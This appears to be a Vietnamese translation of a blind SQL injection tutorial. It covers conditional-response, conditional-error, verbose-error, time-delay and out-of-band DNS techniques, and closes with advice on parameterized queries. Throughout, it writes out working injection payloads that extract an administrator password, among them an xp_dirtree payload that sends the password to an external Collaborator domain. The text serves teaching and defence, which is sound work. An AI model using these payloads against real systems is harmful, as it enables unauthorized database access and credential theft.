**TIÊM SQL MÙ**

**TIÊM SQL MÙ LÀ GÌ? (\*)**

- Tiêm SQL mù xảy ra khi một ứng dụng dễ bị tấn công bởi SQL injection, nhưng phản hồi HTTP của nó lại không chứa kết quả của truy vấn SQL có liên quan hoặc thông tin chi tiết về bất kỳ lỗi cơ sở dữ liệu nào.

- Nhiều kỹ thuật như UNIONtấn công không hiệu quả với lỗ hổng blind SQL injection. Điều này là do chúng dựa vào khả năng xem kết quả của truy vấn được tiêm trong phản hồi của ứng dụng. Vẫn có thể khai thác blind SQL injection để truy cập dữ liệu trái phép, nhưng phải sử dụng các kỹ thuật khác nhau.

**KHAI THÁC SQL INJECTION MÙ BẰNG CÁCH KÍCH HOẠT PHẢN HỒI CÓ ĐIỀU KIỆN (\*)**

- Hãy xem xét một ứng dụng sử dụng cookie theo dõi để thu thập phân tích về việc sử dụng. Yêu cầu đối với ứng dụng bao gồm tiêu đề cookie như sau:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

- Khi yêu cầu chứa TrackingIdcookie được xử lý, ứng dụng sẽ sử dụng truy vấn SQL để xác định xem đây có phải là người dùng đã biết hay không:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

- Truy vấn này dễ bị SQL injection, nhưng kết quả từ truy vấn không được trả về cho người dùng. Tuy nhiên, ứng dụng sẽ hoạt động khác nhau tùy thuộc vào việc truy vấn có trả về dữ liệu nào không. Nếu bạn gửi một truy vấn được công nhận TrackingId, truy vấn sẽ trả về dữ liệu và bạn nhận được thông báo "Welcome back" trong phản hồi.

- Hành vi này đủ để có thể khai thác lỗ hổng SQL injection. Bạn có thể lấy thông tin bằng cách kích hoạt các phản hồi khác nhau có điều kiện, tùy thuộc vào điều kiện được tiêm.

- TrackingIdĐể hiểu cách khai thác này hoạt động, hãy giả sử có hai yêu cầu được gửi lần lượt chứa các giá trị cookie sau :

…xyz' AND '1'='1

…xyz' AND '1'='2

* Giá trị đầu tiên trong số các giá trị này khiến truy vấn trả về kết quả, vì AND '1'='1điều kiện được đưa vào là đúng. Kết quả là, thông báo "Chào mừng trở lại" được hiển thị.
* Giá trị thứ hai khiến truy vấn không trả về bất kỳ kết quả nào vì điều kiện được đưa vào là sai. Thông báo "Chào mừng trở lại" không được hiển thị.

- Điều này cho phép chúng ta xác định câu trả lời cho bất kỳ điều kiện nào được đưa vào và trích xuất dữ liệu từng phần một.

Ví dụ, giả sử có một bảng được gọi Usersvới các cột Usernamevà Password, và một người dùng được gọi là Administrator. Bạn có thể xác định mật khẩu cho người dùng này bằng cách gửi một loạt các đầu vào để kiểm tra mật khẩu từng ký tự một.

Để thực hiện việc này, hãy bắt đầu bằng thông tin sau:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Lệnh này trả về thông báo "Chào mừng trở lại", cho biết điều kiện được đưa vào là đúng và do đó ký tự đầu tiên của mật khẩu lớn hơn m.

Tiếp theo, chúng ta gửi thông tin đầu vào sau:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Điều này không trả về thông báo "Chào mừng trở lại", cho biết điều kiện được đưa vào là sai và do đó ký tự đầu tiên của mật khẩu không lớn hơn t.

Cuối cùng, chúng tôi gửi dữ liệu đầu vào sau, trả về thông báo "Chào mừng trở lại", qua đó xác nhận ký tự đầu tiên của mật khẩu là s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

- Chúng ta có thể tiếp tục quá trình này để xác định một cách có hệ thống toàn bộ mật khẩu cho Administratorngười dùng.

**TIÊM SQL DỰA TRÊN LỖI (\*)**

- Tiêm SQL dựa trên lỗi đề cập đến các trường hợp mà bạn có thể sử dụng thông báo lỗi để trích xuất hoặc suy ra dữ liệu nhạy cảm từ cơ sở dữ liệu, ngay cả trong bối cảnh mù. Các khả năng phụ thuộc vào cấu hình của cơ sở dữ liệu và các loại lỗi bạn có thể kích hoạt:

* Bạn có thể khiến ứng dụng trả về phản hồi lỗi cụ thể dựa trên kết quả của biểu thức boolean. Bạn có thể khai thác điều này theo cùng cách như các phản hồi có điều kiện mà chúng ta đã xem ở phần trước. Để biết thêm thông tin, hãy xem Khai thác lỗi SQL injection mù bằng cách kích hoạt lỗi có điều kiện .
* Bạn có thể kích hoạt các thông báo lỗi xuất dữ liệu được truy vấn trả về. Điều này có hiệu quả biến các lỗ hổng tiêm SQL ẩn thành các lỗ hổng có thể nhìn thấy. Để biết thêm thông tin, hãy xem Trích xuất dữ liệu nhạy cảm thông qua các thông báo lỗi SQL chi tiết .

**KHAI THÁC SQL INJECTION MÙ BẰNG CÁCH KÍCH HOẠT LỖI CÓ ĐIỀU KIỆN (\*)**

- Một số ứng dụng thực hiện truy vấn SQL nhưng hành vi của chúng không thay đổi, bất kể truy vấn có trả về dữ liệu nào không. Kỹ thuật trong phần trước sẽ không hiệu quả, vì việc đưa vào các điều kiện boolean khác nhau không tạo ra sự khác biệt nào đối với phản hồi của ứng dụng.

- Thường có thể khiến ứng dụng trả về một phản hồi khác tùy thuộc vào việc có xảy ra lỗi SQL hay không. Bạn có thể sửa đổi truy vấn để nó chỉ gây ra lỗi cơ sở dữ liệu nếu điều kiện là đúng. Rất thường xuyên, một lỗi chưa được xử lý do cơ sở dữ liệu đưa ra gây ra một số khác biệt trong phản hồi của ứng dụng, chẳng hạn như thông báo lỗi. Điều này cho phép bạn suy ra sự thật của điều kiện được đưa vào.

- TrackingIdĐể xem cách thức hoạt động này, hãy giả sử có hai yêu cầu được gửi lần lượt chứa các giá trị cookie sau :

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

- Các đầu vào này sử dụng CASEtừ khóa để kiểm tra một điều kiện và trả về một biểu thức khác nhau tùy thuộc vào việc biểu thức đó có đúng hay không:

* Với đầu vào đầu tiên, CASEbiểu thức được đánh giá là 'a', không gây ra bất kỳ lỗi nào.
* Với đầu vào thứ hai, nó sẽ đánh giá là 1/0, gây ra lỗi chia cho không.

Nếu lỗi gây ra sự khác biệt trong phản hồi HTTP của ứng dụng, bạn có thể sử dụng điều này để xác định xem điều kiện được đưa vào có đúng không.

Sử dụng kỹ thuật này, bạn có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

**TRÍCH XUẤT DỮ LIỆU NHẠY CẢM THÔNG QUA CÁC THÔNG BÁO LỖI SQL CHI TIẾT (\*)**

- Cấu hình sai cơ sở dữ liệu đôi khi dẫn đến thông báo lỗi dài dòng. Những thông báo này có thể cung cấp thông tin có thể hữu ích cho kẻ tấn công. Ví dụ, hãy xem xét thông báo lỗi sau, xảy ra sau khi chèn một dấu ngoặc kép vào tham số id:

Unterminated string literal started at position 52 in SQL SELECT \* FROM tracking WHERE id = '''. Expected char

(Chuỗi ký tự chưa kết thúc bắt đầu ở vị trí 52 trong SQL SELECT \* FROM theo dõi WHERE id = '''. Ký tự mong đợi)

- Điều này cho thấy toàn bộ truy vấn mà ứng dụng xây dựng bằng đầu vào của chúng tôi. Chúng ta có thể thấy rằng trong trường hợp này, chúng ta đang chèn vào một chuỗi được trích dẫn đơn bên trong một WHEREcâu lệnh. Điều này giúp dễ dàng xây dựng một truy vấn hợp lệ chứa một tải trọng độc hại. Việc bình luận phần còn lại của truy vấn sẽ ngăn không cho trích dẫn đơn thừa làm hỏng cú pháp.

- Thỉnh thoảng, bạn có thể khiến ứng dụng tạo ra thông báo lỗi có chứa một số dữ liệu được truy vấn trả về. Điều này thực sự biến lỗ hổng SQL injection thành lỗ hổng có thể nhìn thấy.

Bạn có thể sử dụng CAST()hàm để thực hiện điều này. Nó cho phép bạn chuyển đổi một kiểu dữ liệu sang kiểu dữ liệu khác. Ví dụ, hãy tưởng tượng một truy vấn chứa câu lệnh sau:

CAST((SELECT example\_column FROM example\_table) AS int)

- Thông thường, dữ liệu bạn đang cố gắng đọc là một chuỗi. Việc cố gắng chuyển đổi chuỗi này thành một kiểu dữ liệu không tương thích, chẳng hạn như int, có thể gây ra lỗi tương tự như sau

ERROR: invalid input syntax for type integer: "Example data"

Kiểu truy vấn này cũng có thể hữu ích nếu giới hạn ký tự ngăn bạn kích hoạt phản hồi có điều kiện.

**KHAI THÁC LỖI SQL INJECTION BẰNG CÁCH KÍCH HOẠT ĐỘ TRỄ THỜI GIAN (\*)**

- Nếu ứng dụng phát hiện lỗi cơ sở dữ liệu khi truy vấn SQL được thực thi và xử lý chúng một cách nhẹ nhàng, sẽ không có bất kỳ sự khác biệt nào trong phản hồi của ứng dụng. Điều này có nghĩa là kỹ thuật trước đó để tạo ra lỗi có điều kiện sẽ không hiệu quả.

- Trong tình huống này, thường có thể khai thác lỗ hổng tiêm SQL mù bằng cách kích hoạt độ trễ thời gian tùy thuộc vào việc điều kiện được tiêm là đúng hay sai. Vì các truy vấn SQL thường được ứng dụng xử lý đồng bộ, nên việc trì hoãn thực thi truy vấn SQL cũng làm chậm phản hồi HTTP. Điều này cho phép bạn xác định tính đúng đắn của điều kiện được tiêm dựa trên thời gian nhận được phản hồi HTTP.

- Các kỹ thuật kích hoạt độ trễ thời gian cụ thể cho từng loại cơ sở dữ liệu đang sử dụng. Ví dụ, trên Microsoft SQL Server, bạn có thể sử dụng các kỹ thuật sau để kiểm tra điều kiện và kích hoạt độ trễ tùy thuộc vào việc biểu thức có đúng hay không:

'; IF (1=2) WAITFOR DELAY '0:0:10'--

'; IF (1=1) WAITFOR DELAY '0:0:10’--

* Đầu vào đầu tiên không kích hoạt độ trễ vì điều kiện 1=2 là sai.
* Đầu vào thứ hai kích hoạt độ trễ 10 giây vì điều kiện 1=1 là đúng

- Sử dụng kỹ thuật này, chúng ta có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'—

**KHAI THÁC SQL INJECTION MÙ BẰNG KỸ THUẬT OUT-OF-BAND (OAST) (\*)**

- Một ứng dụng có thể thực hiện cùng một truy vấn SQL như ví dụ trước nhưng thực hiện theo cách không đồng bộ. Ứng dụng tiếp tục xử lý yêu cầu của người dùng trong luồng gốc và sử dụng luồng khác để thực hiện truy vấn SQL bằng cookie theo dõi. Truy vấn vẫn dễ bị tấn công SQL injection, nhưng không có kỹ thuật nào được mô tả cho đến nay có hiệu quả. Phản hồi của ứng dụng không phụ thuộc vào việc truy vấn trả về bất kỳ dữ liệu nào, lỗi cơ sở dữ liệu xảy ra hay thời gian thực hiện truy vấn.

- Trong tình huống này, thường có thể khai thác lỗ hổng tiêm SQL mù bằng cách kích hoạt các tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát. Những tương tác này có thể được kích hoạt dựa trên điều kiện được tiêm để suy ra thông tin từng phần một. Hữu ích hơn, dữ liệu có thể được trích xuất trực tiếp trong tương tác mạng.

Có thể sử dụng nhiều giao thức mạng khác nhau cho mục đích này, nhưng thông thường giao thức hiệu quả nhất là DNS (dịch vụ tên miền). Nhiều mạng sản xuất cho phép truy vấn DNS thoát tự do, vì chúng rất cần thiết cho hoạt động bình thường của hệ thống sản xuất.

Công cụ dễ dàng và đáng tin cậy nhất để sử dụng các kỹ thuật ngoài băng tần là Burp Collaborator . Đây là máy chủ cung cấp các triển khai tùy chỉnh của nhiều dịch vụ mạng khác nhau, bao gồm cả DNS. Nó cho phép bạn phát hiện khi nào các tương tác mạng xảy ra do gửi các tải trọng riêng lẻ đến một ứng dụng dễ bị tấn công. Burp Suite Professional bao gồm một máy khách tích hợp được cấu hình để hoạt động với Burp Collaborator ngay khi xuất xưởng. Để biết thêm thông tin, hãy xem tài liệu về Burp Collaborator .

- Các kỹ thuật kích hoạt truy vấn DNS tùy thuộc vào loại cơ sở dữ liệu đang sử dụng. Ví dụ, đầu vào sau trên Microsoft SQL Server có thể được sử dụng để gây ra tra cứu DNS trên một tên miền được chỉ định:

'; exec master..xp\_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'—

- Điều này khiến cơ sở dữ liệu thực hiện tra cứu cho miền sau:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

- Bạn có thể sử dụng Burp Collaborator để tạo một tên miền phụ duy nhất và thăm dò máy chủ Collaborator để xác nhận thời điểm xảy ra bất kỳ tra cứu DNS nào.

- Sau khi xác nhận cách kích hoạt tương tác ngoài băng tần, bạn có thể sử dụng kênh ngoài băng tần để trích xuất dữ liệu từ ứng dụng dễ bị tấn công. Ví dụ:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp\_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')—

- Đầu vào này đọc mật khẩu của Administratorngười dùng, thêm một miền phụ Collaborator duy nhất và kích hoạt tra cứu DNS. Tra cứu này cho phép bạn xem mật khẩu đã thu thập:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

- Kỹ thuật Out-of-band ( OAST ) là một cách mạnh mẽ để phát hiện và khai thác blind SQL injection, do khả năng thành công cao và khả năng trực tiếp trích xuất dữ liệu trong kênh out-of-band. Vì lý do này, kỹ thuật OAST thường được ưa chuộng ngay cả trong những tình huống mà các kỹ thuật khác để khai thác blind có hiệu quả.

**LÀM THẾ NÀO ĐỂ NGĂN CHẶN CÁC CUỘC TẤN CÔNG SQL INJECTION MÙ? (\*)**

- Mặc dù các kỹ thuật cần thiết để tìm và khai thác lỗ hổng tiêm SQL mù khác biệt và phức tạp hơn so với tiêm SQL thông thường, nhưng các biện pháp cần thiết để ngăn chặn tiêm SQL là như nhau.

- Tương tự như tấn công SQL injection thông thường, các cuộc tấn công SQL injection mù có thể được ngăn chặn thông qua việc sử dụng cẩn thận các truy vấn tham số, đảm bảo rằng dữ liệu đầu vào của người dùng không thể can thiệp vào cấu trúc của truy vấn SQL dự định.